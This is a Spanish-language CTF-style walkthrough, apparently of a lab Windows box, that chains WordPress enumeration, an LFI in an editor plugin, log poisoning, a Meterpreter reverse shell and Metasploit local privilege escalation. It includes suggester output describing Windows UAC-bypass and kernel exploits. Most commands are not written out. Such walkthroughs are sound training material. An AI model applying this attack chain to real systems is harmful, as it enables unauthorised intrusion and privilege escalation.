Vemos que hay un servidor SMB y un puerto 8080 en el que puede contener una pagina web, si entramos por el puerto 8080 nos redirije automaticamente a un dominio por lo que tendremos que añadirlo en nuestro archivo hosts.
Una vez echo eso, volveremos a cargar la pagina:
Vemos lo que parece ser una pagina normal pero que esta en un wordpress por lo que vamos a intentar enumerar si tuviera algunas credenciales o algun plugin vulnerable.
wpscan
Info:
Vemos que nos saca un usuario llamado admin por lo que vamos a intentar realizar fuerza bruta sobre dicho usuario con la misma herramienta:
Info:
Si hacemos esto veremos que al final no nos saca nada, pero si vemos que detecto un plugin llamado editor el cual suele ser vulnerable y es de version 1.1 por lo que vamos a investigar si tuviera algun exploit asociado.
Por lo que vemos si tiene una vulnerabilidad que es la de un LFI y nos muestra la ruta vulnerable que seria en nuestro caso la siguiente:
NOTA:
Tuve que cambiar site-editor por editor ya que el plugin la ruta le cambiaron el nombre, si probamos con el payload normal no ira, por lo que tendremos que dejarlo en editor.
Info:
Vemos que funciona, pero vamos a realizar un poco de fuzzing para ver cuales rutas son accesibles y cuales no.
Vemos varias rutas interesantes pero entre ellas se puede entrar en:
Por lo que puedo deducir que se podra realizar lo llamado LOG POISONING, vamos a probar a realizar dicha tecnica.
Vamos a probar a ver los archivos del directorio actual realizando un comando dir, ahora si recargamos de nuevo la URL y bajamos abajo del todo veremos lo siguiente:
Vamos a subirnos a generarnos una reverse shell con metasploit para tener un meterpreter por lo que tendremos que generar el payload de la siguiente forma:
Escalate user websvc
Ahora si leemos el payload.txt veremos lo siguiente:
Por lo que el curl tendremos que prepararlo de la siguiente forma:
Antes de enviarlo, nos pondremos a la escucha con metasploit.
Dentro utilizaremos el multi/handler:
Y lo configuraremos de la siguiente forma:
Ahora si enviamos el payload del curl y volvemos a donde tenemos la escucha en metasploit veremos lo siguiente:
Vemos que ha funcionado y seremos el usuario websvc, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Vamos a utilizar un modulo de metasploit para poder identificar diferentes vulnerabilidades a nivel local que pueda tener la maquina victima.
Antes tendremos que dejar la sesion en segundo plano haciendo Ctrl+Z y dandole a la Y.
Ahora lo configuraremos de la siguiente forma:
Info:
Vemos que puede tener varias vulnerabilidades, entre ellas la que mas nos llama la atencion es la siguiente:
Por lo que vamos a utilizarlo.
Ahora lo tendremos que configurar de la siguiente forma:
Info:
Como vemos ya seremos administradores por lo que leeremos la flag del admin.

[*] 192.168.1.161 - Collecting local exploits for x64/windows...
[*] 192.168.1.161 - 198 exploit checks are being tried...
[+] 192.168.1.161 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
This module will bypass Windows UAC by creating COM handler registry
entries in the HKCU hive. When certain high integrity processes are
loaded, these registry entries are referenced resulting in the
process loading user-controlled DLLs. These DLLs contain the
payloads that result in elevated sessions. Registry key
modifications are cleaned up after payload invocation. This module
requires the architecture of the payload to match the OS, but the
current low-privilege Meterpreter session architecture can be
different. If specifying EXE::Custom your DLL should call
ExitProcess() after starting your payload in a separate process.
This module invokes the target binary via cmd.exe on the target.
Therefore if cmd.exe access is restricted, this module will not run
correctly.
[+] 192.168.1.161 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
This module will bypass Windows UAC by hijacking a special key in
the Registry under the current user hive, and inserting a custom
command that will get invoked when the Windows Event Viewer is
launched. It will spawn a second shell that has the UAC flag turned
off. This module modifies a registry key, but cleans up the key once
the payload has been invoked. The module does not require the
architecture of the payload to match the OS. If specifying
EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.
[+] 192.168.1.161 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
This module exploits CVE-2019-1458, an arbitrary pointer dereference
vulnerability within win32k which occurs due to an uninitalized
variable, which allows user mode attackers to write a limited amount
of controlled data to an attacker controlled address in kernel
memory. By utilizing this vulnerability to execute controlled writes
to kernel memory, an attacker can gain arbitrary code execution as
the SYSTEM user. This module has been tested against Windows 7 x64
SP1. Offsets within the exploit code may need to be adjusted to work
with other versions of Windows. The exploit can only be triggered
once against the target and can cause the target machine to reboot
when the session is terminated.
[+] 192.168.1.161 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
This module exploits CVE-2020-0787, an arbitrary file move
vulnerability in outdated versions of the Background Intelligent
Transfer Service (BITS), to overwrite
C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL
containing the attacker's payload. To achieve code execution as the
SYSTEM user, the Update Session Orchestrator service is then
started, which will result in the malicious
WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a
DLL hijacking issue within the Update Session Orchestrator Service.
Note that presently this module only works on Windows 10 and Windows
Server 2016 and later as the Update Session Orchestrator Service was
only introduced in Windows 10. Note that only Windows 10 has been
tested, so your mileage may vary on Windows Server 2016 and later.
[+] 192.168.1.161 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
This module exploits CVE-2020-1054, an out of bounds write reachable
from DrawIconEx within win32k. The out of bounds write can be used
to overwrite the pvbits of a SURFOBJ. By utilizing this
vulnerability to execute controlled writes to kernel memory, an
attacker can gain arbitrary code execution as the SYSTEM user. This
module has been tested against a fully updated Windows 7 x64 SP1.
Offsets within the exploit code may need to be adjusted to work with
other versions of Windows.
[+] 192.168.1.161 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
A use after free vulnerability exists in the `NtGdiResetDC()`
function of Win32k which can be leveraged by an attacker to escalate
privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to
the fact that this function calls `hdcOpenDCW()`, which performs a
user mode callback. During this callback, attackers can call the
`NtGdiResetDC()` function again with the same handle as before,
which will result in the PDC object that is referenced by this
handle being freed. The attacker can then replace the memory
referenced by the handle with their own object, before passing
execution back to the original `NtGdiResetDC()` call, which will now
use the attacker's object without appropriate validation. This can
then allow the attacker to manipulate the state of the kernel and,
together with additional exploitation techniques, gain code
execution as NT AUTHORITY\SYSTEM. This module has been tested to
work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763),
however previous versions of Windows 10 will likely also work.
[+] 192.168.1.161 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
This module exploits a NULL Pointer Dereference in win32k.sys, the
vulnerability can be triggered through the use of TrackPopupMenu.
Under special conditions, the NULL pointer dereference can be abused
on xxxSendMessageTimeout to achieve arbitrary code execution. This
module has been tested successfully on Windows XP SP3, Windows 2003
SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
and Windows 2008 R2 SP1 64 bits.
[+] 192.168.1.161 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
This module exploits improper object handling in the win32k.sys
kernel mode driver. This module has been tested on vulnerable builds
of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
[+] 192.168.1.161 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
This module exploits the lack of sanitization of standard handles in
Windows' Secondary Logon Service. The vulnerability is known to
affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This
module will only work against those versions of Windows with
Powershell 2.0 or later and systems with two or more CPU cores.
[+] 192.168.1.161 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
achieve a SYSTEM handle for elevation of privilege. Currently the
module does not spawn as SYSTEM, however once achieving a shell, one
can easily use incognito to impersonate the token.
[+] 192.168.1.161 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
This module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
achieve a SYSTEM handle for elevation of privilege. It requires a
CLSID string. Windows 10 after version 1803, (April 2018 update,
build 17134) and all versions of Windows Server 2019 are not
vulnerable.
